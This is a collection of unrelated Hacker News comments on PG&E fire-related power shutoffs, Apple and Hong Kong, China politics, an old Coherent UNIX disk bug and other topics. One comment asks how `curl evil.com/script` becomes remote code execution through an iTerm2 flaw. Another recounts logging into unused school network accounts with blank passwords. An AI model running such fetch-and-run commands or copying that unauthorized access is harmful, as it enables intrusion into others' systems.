skysight-inc/HackerNews huggingface dataset:
You can cry anecdotes all you want, but planned obselesence is a highly observed and we'll documented phenomenon. A very cursory Google search will tell you as much.

I wonder if the reason wages are stagnating is that the "efficiency" is a result of skimming off the top, and removing much of the value added by removing people from the process. Maybe appliances failing as soon as the warranty expires introduces market externalities that someone will dearly pay for some day...

Or maybe we are paying for it today! Have you ever heard of the [broken window fallacy](https://en.m.wikipedia.org/wiki/Parable_of_the_broken_window)? Basically, someone may claim that breaking windows increases spending on window repairs, which is a net benefit to the economy. This, of course, ignores what could have been bought had the window not been broken to begin with.
Which countries has it antagonized? China? Canada and Mexico have signed onto the USMCA. Japan and India's leaders both seem to adore Trump. Watching Trump at the U.N. two weeks ago, he seemed to be a very capable diplomat and seems to have good relations with most nations.
That is some incredible spin.
Gradma’s oxygen concentrator shutting down. Hopefully those folks preemptively went to urgent care just to hang out in the waiting room.

EBT terminals shutting down — that caused a riot in New England a couple of years ago.
So their plan is just to completely turn off the power anytime there is a fire hazard? What if the hazard remains for weeks?

This seems more like a stunt to convince the state to release them from some liability.
We (NZ) do reduce licensing fees for the ham freqs.

But they can be a rich source of complaints when someone takes an internal club dispute onto the airwaves, and then you've got to send out the radio engineers to locate the offending signal(s), then begin enforcement action if needed.

CB bands are even worse for the petty politics on air because you access them via a GURL (general user radio license) which means anyone can buy a CB and go wild.

We also don't see much payback mainly because the types of comms ham operators can provide are incorporated into our existing emergency and disaster agencies.
Didn’t they add it back just recently?
I urge you guys to checkout some of the decentralized alternatives that are built on Ethereum or Lightning network. Here are some decentralized apps from Blockstack's App Mining program that have been gaining a lot of traction lately:
- Dmail (Gmail alternative): https://www.dmail.online/

- Recall (Google Photos alternative): https://app.recall.photos/

- Arcane Office (Google Docs/Office alternative): https://docs.arcaneoffice.com/

- Forms.id (Google Forms alternative): https://forms.id/

- Arcane Maps (Google Maps alternative): https://arcanemaps.com/
I think you hit the nail on the head there. This is basically PG&E C suite folks blackmailing the state.
I'm not Chinese but I'm guessing it's cool.

https://blog.speechling.com/being-polite-in-chinese/

https://www.writtenchinese.com/the-right-way-to-compliment-a...
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> And one of their roles is in ensuring the interests of those lower down the income scale ...

This is not a responsibility of government as described in the constitution the united states.
I'm willing to bet the Ultra Large Container Vessel class boat-load of money Apple is making helps there.
Suppose we are able to formulate a very neat, parsimonious mathematical model and it happens to extremely accurately describe every physical phenomenon, so accurately that we cannot find even the tiniest violation. Now, that does not mean the model is 'correct', it might be that we have just not measured precisely enough to detect its failures. But there does seem to be a mysterious tendency for very neat mathematical models to very accurately describe physics, and so maybe it is not unreasonable to conclude that this model is at least probably true (i.e., that it is never violated). Would this not then tell us something pretty profound? Even if the way we understand the math (in terms of ideal shapes, in terms of symbols) is inherently human, we would still have possibly discovered a full description of the behavior of the universe, and even if that in itself doesn't tell us why the universe exists or what it is, it would surely help us to answer those questions.
There is a useful parallel in history for keen history buffs.

After the Seven Years' War, a certain European country accidentally kicked off strife with its colonies which morphed into a struggle over legislative sovereignty. For a decade, this simmered until a particularly hard-nosed governor ending up allowing a confrontation to escalate into a very notorious act of vandalism, one that was nearly universally condemned, even on all sides of the conflict. In response, the government enacted a series of laws to punish not just the perpetrators but the entire colony. They hoped to turn moderates into loyalists, to better rein in neighboring radicals lest the same happen to them. Instead, they turned moderates into radicals, and furthermore caused the radicals to shift their demands from autonomy to outright independence, especially as the government chose to double down on their mistakes at every opportunity instead of reversing course hard and fast.
You're giving China too much credit here. It has single-handedly gone down the wrong path with HK in the same way that it did so with Taiwan maybe 30 years ago. But in both cases, you don't think the nativist/chauvinist local media and Western propaganda had anything to do with it, in fanning a negative identity ("not Chinese")? Nothing at all?
18 out of 300 to 400
So is all this about the fact that String Theory just didn't turn out to be practically useful? Or is the theory no longer believer to hold weight given current observations?
Then in the 20th century there were two proposals of Anglo-French union (1940 and 1956). That would have made an interesting alternative timeline. :)
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How does this exploit work?

I looked through https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2... which appears to do some changing of how tmux variables are hanlded/stored.

Is the vulnerability that tmux session variable names and other session values are untrusted user input?

How does a general command like `curl evil.com/script` turn into an RCE here?
You can't have 99.99% reliable power, cheap power, transmission through tinerboxes, and hold the utility liable for fires.

I expect parts of the Bay Area not in the hills to not lose power because if you can't clear brush around the high-voltage lines going to urban centers, you have no business being a utility.
It might be a stunt. I still think it is the right thing to do. PG&E has a huge amount of deferred brush clearing to work through. Even if the day after the Santa Rosa fire they had trippled the crew sizes and had been working non-stop they still would not have worked it all down. Those are just the facts on the ground. Cutting power is much better than starting fires.
Yes, I didn't make those things up. They are not all from a single source though. I don't keep a list of everything I have read but here is one (in chinese):

https://zh.wikipedia.org/zh-tw/%E6%9D%8E%E9%94%90_(1917%E5%B...

https://www.voachinese.com/a/voanews-20180413-former-secreta...
While I don't disagree that capitalism is at work. It is almost a given that the reduction in steel is due to auto manufactures and many other industries have moved to aluminum or composite materials. Neither one of them offers a great environmental or energy savings over steel.

Paper is most likely digitization which again just transfers the energy use into computing every time the document is viewed and is almost certainly a net negative in relation to energy consumption.

Fertilizer I don't know but a half ass guess would be GMO's. As they are able to target traits that allow them to use less fertilizer and pesticides to produce the same amount of crop yield.
I think it was the one for showing you the pin of a corporate credit card.
Apple finally decided to remove Hong Kong protest map app from its app store
It's just a little more complicated than that. If you're interested in what really happened, go to http://www.groklaw.net/staticpages/index.php?page=2008080306... and explore the actual decade plus story.
This move comes after Apple re-instated the app into the app store under public pressure. This comes after Apple told Senator Howley that the decision to block the app had been a mistake:

https://twitter.com/HawleyMO/status/1180214941867036672

It's important for the discussion that this app does not violate any local laws in Hong Kong. It is a safety tool. You can check out the web version here (click icons and paste text into Google translate if you can't read Chinese) https://hkmap.live/

In a nutshell, it shows where police are (puppy icons), police vehicles, concentrations of demonstrators (construction worker icon), sightings of the special riot squad called the raptors (dinosaur icon), and places where demonstrators can find safe transport (house icon).

There's a lot of rumor flying around Hong Kong that selective website blocking will be the next emergency measure after the mask ban, so it's very important to have a backup version of this site on the app store (and Google store) in addition to the web version.
Unless it's a quirk of power transmission, I'm surprised much of that area would be affected. I was thinking anything west of Foothill would be dicey.
Yes. China is actually a multi-race country. Their culture is diverse.
Just to be clear, in case this matters, it wasn't an account belonging to an administrator, it was a default superuser account called (if I remember right) "TECH" in all caps, and didn't have any files or anything in it. It's not like it was a person and I was poking around their private stuff.
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Zooming on my mobile (Chrome) works for dygraphs, but not for uPlot.js.

I tried the benchmark example and it doesn't zoom in for me.

The other ,,example and API'' demo doesn't work at all.

Anyways, thanks for making something fast, it's rare these days that people care about speed!
It's very possible there are politics at play here, but the NWS forecast sounds like something we won't get every year?
Although we had it in 2017 in the North Bay and 2018 in Butte county, so maybe it is going to be common?

https://forecast.weather.gov/product.php?site=MTR&issuedby=M...
One day I was board in comp sci and decided to CD into drives a - z. Found a bunch of Novelle NetWare utils sitting on a hidden drive. One of them listed all the users on the system, while another sent back generic user info. Thing is, this was a very large high school and a bunch of accounts never signed in. All you had to do was log in with a blank password and it would prompt you to select one on login. Any funny business on the network was done on a burner account. It was all just fun and games, but never did get caught. Although, one of my teachers did say the network admin sent out an email to all my teachers, telling them not to let me touch their computer. No matter. It would be foolish to login from a location that has a record of you physically being there.
No it doesn't but if you knew what u were talking about you would know that the United States is just as bad as china. The difference is the United States isn't open about it.
"Bright colors" and young adult models are the playbook that worked on cigarettes - they're just reusing proven tactics.
Yes, I totally agree.

There was already conflict between China and the Soviet Union. But yes, that increased as China gradually introduced capitalism, with decreasing emphasis on central planning.

And that intervention did indeed finally jump start economic development and modern industrialization in China. After the catastrophic Cultural Revolution and Great Leap Forward. But that didn't include national-level democracy and Western-style individual rights and freedoms. Likely contrary to Kissenger's expectations.

So yes, China might become the dominant world power. And that might roll back some global consequences of the European Enlightenment. Who would have thought?
> Meteorologists said the strong winds that were forecast in the hills and canyons on Wednesday resembled those that propelled deadly fires in the wine country of Napa and Sonoma Counties two years ago. The power company, which declared bankruptcy in January in the face of tens of billions of dollars in liabilities from past fires, said it was not taking chances this time.

Makes sense.
This has caused me quite a bit of trouble with my image gallery as well, I've taken to just using exiftool to remove all rotation from my photos, which breaks half of them, and then manually hard-rotating them using ImageMagick, which is technically not a lossless operation if I'm understating it correctly.

I really don't understand why it was decided that most photo viewing applications would honor EXIF rotation, but web browsers would not.
In the context of their continued friendship, it's quite likely that parent comment, as far as we can tell from the limited description of its delivery, would be interpreted favorably by the other party.
Hey man just wanted to say you inspired me to give fasting a try. Not going to go crazy, don't worry, just shooting for two or three days depending on how it goes (just hit 24 hrs). I'm doing lots of research and have my annual check up in a couple weeks to talk to my doc about a longer one.

Thanks for sharing your story!
anytime there is a fire hazard

Not forever. Just until regulators agree to have ratepayers bail them out.
Apparently most of 94087 is good, but my little corner of it seems to share a feed with some of the Cupertino hill country. At least going by the outage maps I have seen.
And then what? Clear space around transmission lines? Bury transmissions lines? Costs money. Keep the power going when it's risky? Fires. Raise rates for all customers, you'll get pretty angry people. Realistically, all you can do is raise rates for people in risky areas to cover the cost of either maintenance or fires.

This is just the consequence of suing PG&E for fires.
That's great, but if it's only true until it isn't. The moments when that idea is false (however rare) are the life altering, permanent moments that result in irrevocable ruin for whomsoever might dare trust the promises and honor of
Canada and Mexico signed the USMCA not so much because they felt it was better than NAFTA but because they didn't want Trump to do any worse. And it's not like Canada is happy about Trump's emergency steel tariffs that hit Canada's exports--the fact that USMCA would cause Trump to lift them was one of they reasons to sign it, and Trump certainly was in no rush to lift them afterwords.

Not to mention there's lots of dislike towards Trump's tendency to rip up treaties just because Obama signed them--Vietnam wasn't happy about Trump dropping TPP, Europe was not a fan of him leaving the Paris climate treaty or the Iran nuclear treaty, etc.
1. State takes it over, destroys the shareholders (they've mismanaged the company, so I'm not terribly sympathetic to them)

2. State releases them from their liabilities, gets nothing but debt and lawsuits out of the deal, effectively insures the shareholders bad management.

3. State refuses to release them from liability, shareholders take a haircut or perhaps worst case are destroyed, and state is caught holding a large amount of the liability anyway in the ensuing bankruptcy.

The state should not be blackmailed. Option 1 has the least moral hazard and there's an option for the state to spin it off as a private company later, and California citizens profit.
It will turn into another Syria.
https://www.dailymail.co.uk/news/article-7538571/Hong-Kong-m...

https://www.scmp.com/comment/letters/article/3031905/hong-ko...
They just decided to take it down again after the People's Daily wrote about it.
Sure, I was one of them. But if your distrust of Google is high enough to believe that Access Transparency is basically a fake feature (i.e that there is a way for Google employees to access your files without showing up in the logs, except for legally required reasons), then I don't see how or why you would be giving them your files in the first place. I don't think that level of distrust is unreasonable -- Google has proven to be a bad actor in many scenarios -- but I just don't see how you could be a G Suite customer at that level of distrust.
> The bug was triggered when your drive when into a very common thermal recalibration mode

As the person responsible (alas), my specific recollection of this particular bug was that the root cause wasn't thermal recalibration, but rather UDMA signalling errors.

Prior versions of Coherent using PIO mode had excruciatingly slow access, and when adding support for UDMA I also added support for the disk driver to recognise sequential access and issue multisector transfer requests; this boosted performance fairly massively, something like 3-4 times for some common things, and it was run for a fairly long time in-house and by beta testers with no trouble before it shipped.

The problem though, was a small - literally one line - arithmetic error when the drive end of things reported a UDMA transfer error had occurred in the middle of a multisector operation; the error-handling code that set up a retry of the operation didn't compute the start kernel address correctly when a whole bunch of transfers had been merged (and some subset had worked).

The primary problem with the UDMA modes was sensitivity to correct cable termination - see https://en.wikipedia.org/wiki/Parallel_ATA#Cable_select for some of that; basically, signal reflections from parallel ATA cable runs that didn't have terminating resistors made things electrically marginal and some systems would have really excessive numbers of UDMA CRC faults as a consequence, and given sufficiently high error rates and really bad timing that could end up polluting the buffer cache with stuff that was skewed by a sector :-(

The big thing (on top of not having any in-house hardware that triggered this specific bug) was the sheer volume of work required for those releases, since getting from what was basically a fairly vanilla Seventh Edition UNIX to where it needed to be to start running large pieces of third-party code expecting POSIX was a big lift. Since there weren't many people, everyone was having to wear lots of hats; for instance, aside from kernel work I did a huge amount of work for POSIX.1 and .2 compatibility and on top of doing the underlying code changes (which ranged all over the system, particularly for some of the stuff we ran into Autotools scripts relying on) all of those needed documenting, too.

[ Fred Butzen did amazing work writing the actual manpage text and making it really easy to understand - he justly deserved the credit for the quality of the manual in terms of its readability. But the scale of the changes needed to bring so many parts and pieces from V7 to POSIX meant lots and lots and lots of work trying to iterate over docs for technical accuracy at the same time as having to redesign all the affected parts and pieces. It was, in a word, exhausting. ]
Wtf Apple
I spent eleven hours today hooking up large generators (up to 2MW) for businesses. I'm a controls/PLC guy so it's not what I normally do but this was an all-hands-on-deck situation. Two places had their fire alarms go off as soon as the power was restored (due to issues with fire pump controls too long to get into here) and they weren't able to disable the alarm in time to prevent a fire dispatch.

Fire resources getting needlessly tied up plus a ton of hastily-connected generators seems like a recipe for a problem.

Side note, I lost track of how many times I had to explain to people why their giant solar arrays wouldn't be able to power their facility when the grid is down.
Referring to Australia's offshore immigration detention facilities as "concentration camps" in this context is incredibly misleading. There is absolutely no fair comparison to be made between Australia's detention of illegal immigrants in these facilities and China's human rights abuses. Regardless of your views on the human rights implications of Australia's mandatory detention policies, labelling them as such is dishonest.
Ahh. Yeah; all the maps I saw looked like hill country.
> moral leverage is what you need in the long term; they can never become a superpower.

I do not understand what you mean by this, and what long term is to you. I want to be convinced, but I fail to see this as true.

What would be a superpower in your eyes, and which of the past examples of morally problematic powers (USSR, British/Spanish/Portuguese/French empires,for example) do you consider not to meet the definition, or not to have been "long term"?
For AAPL, revenue from Mainland China is far greater than Hong Kong. I, as a shareholder with fewer than 100 shares, applaud Apple's decision on this issue.
Everyone is only talking about the issue from a moral standpoint (which is of course important), but there are real financial risks as well. The government controls every aspect of business in the country. Deals can be altered or nullified at any time without recourse. No contracts can be enforced since the government will always be on the Chinese business's side. There is zero IP protection.

You could invest a billion dollars in the country and be kicked out for no reason without seeing any returns, as the NBA just found out. Yes there is a lot of opportunity in China, but relying on the goodwill of an authoritarian government is always a mistake in the long term.
This is not a new thing. They’ve cut power several times in the past few years to reduce fire risk.
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What in CA state government history makes you think they will do a better job managing the electrical grid?
That only works if you don't have a connecting flight to catch. If you do, your willingness to waste time might plunge considerably. That's what they count on.
Well, MOSH breaks through the speed of light latency limitation of SSH by ... predicting the server's response.

Although the laws of physics can't be broken, in certain scenarios we can simulate we have done just that. And often that's just what you need to get ahead of your competition.
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Let me guess... animal is always "dragon"?
> China seems to have played their hand too early (and too strongly)

China got away with the Tiananmen massacre. Is this worst than Tiananmen? Sadly people have a short memory and dealing with China is profitable for Western companies. I hope not but most likely this episode will be forgotten soon.
These are both faulty assumptions.

1) If I'm considering whether to brake for a plastic bag, I'm also going to check for anyone tailgating me, and take that into consideration. Including whether said tailgater is a geo prism or a Freightliner attached to a tanker of gasoline.

Slamming on the brakes for a plastic bag is not the universal safer choice.

2) Already mentioned this, but reaction/breaking time is meaningless without timely recognition.
Would the computer or mobile phone used to see that satellite map be a new category of device if we're comparing to 30+ years ago? I remember when I first moved out of home that there were council rates, water, electricity and gas bills. Optionally, phone too. Now there's internet, 2x mobile phone plans (more if you have teenagers), Netflix, Stan, etc.

A lot of people are upgrading phones or laptops every few years too.

The tech is great, but it isn't always free.